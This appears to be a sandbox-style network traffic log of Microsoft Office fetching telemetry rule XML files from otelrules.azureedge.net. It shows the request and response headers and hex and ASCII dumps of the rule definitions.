2024-10-07 11:26:32 UTC	540	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:32 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public Last-Modified: Fri, 04 Oct 2024 23:21:50 GMT ETag: "0x8DCE4CB535A72FA" x-ms-request-id: 4dad204e-401e-005b-4bf5-169c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112632Z-1657d5bbd48brl8we3nu8cxwgn00000003p000000000daww x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:32 UTC	15844	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-10-07 11:26:32 UTC	16384	IN	Data Raw: 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e Data Ascii: "0" /> </L> <R> <V V="400" T="I32" /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" />
2024-10-07 11:26:32 UTC	16384	IN	Data Raw: 20 20 3c 53 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 53 54 3e 0d 0a 3c 2f 52 3e 0d 0a 3c 24 21 23 3e 31 30 38 32 30 76 33 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 Data Ascii: <ST> <S T="1" /> </ST></R><$!#>10820v3+<?xml version="1.0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-781
2024-10-07 11:26:32 UTC	16384	IN	Data Raw: 20 54 3d 22 55 36 34 22 20 49 3d 22 38 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 45 76 65 6e 74 73 5f 41 76 67 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 41 76 65 72 61 67 65 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 Data Ascii: T="U64" I="8" O="false" N="Events_Avg"> <S T="2" F="Average" /> </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32"
2024-10-07 11:26:32 UTC	16384	IN	Data Raw: 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f Data Ascii: "0" O="false" N="Count_CreateCard_ValidPersona_False"> <C> <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Co
2024-10-07 11:26:32 UTC	16384	IN	Data Raw: 20 20 20 20 3c 53 20 54 3d 22 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 39 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a Data Ascii: <S T="31" /> </C> </C> <C T="U32" I="19" O="false" N="Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C>
2024-10-07 11:26:32 UTC	16384	IN	Data Raw: 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 Data Ascii: <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMillisec
2024-10-07 11:26:32 UTC	16384	IN	Data Raw: 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e Data Ascii: R> <V V="0" T="I32" /> </R> </O> </F> </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIn
2024-10-07 11:26:32 UTC	16384	IN	Data Raw: 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: R> </O> </F> <F T="6"> <O T="AND"> <L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L>
2024-10-07 11:26:32 UTC	16384	IN	Data Raw: 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c Data Ascii: T="6"> <O T="EQ"> <L> <S T="2" F="HttpStatus" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.5	49710	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:33 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:33 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:33 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 4545068c-701e-0050-0e05-176767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112633Z-1657d5bbd48vlsxxpe15ac3q7n00000003d0000000006tqk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:33 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.5	49712	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:33 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:33 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:33 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: c62b5fc1-401e-0067-3a60-1709c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112633Z-1657d5bbd48sdh4cyzadbb3748000000037000000000brt1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:33 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.5	49713	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:33 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:33 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:33 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 8aaf7b13-d01e-0028-46fd-167896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112633Z-1657d5bbd4824mj9d6vp65b6n400000003k000000000bzfm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:33 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.5	49714	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:33 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:33 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:33 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: b27588a3-a01e-003d-6001-1798d7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112633Z-1657d5bbd48vlsxxpe15ac3q7n00000003b000000000bngb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:33 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.5	49711	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:33 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:33 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:33 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: d4448e94-101e-00a2-2703-179f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112633Z-1657d5bbd48sdh4cyzadbb3748000000038g000000007crd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:33 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.5	49715	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:33 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:34 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:34 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 3ea0840d-701e-0053-1012-173a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112634Z-1657d5bbd48wd55zet5pcra0cg000000038g00000000gk23 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
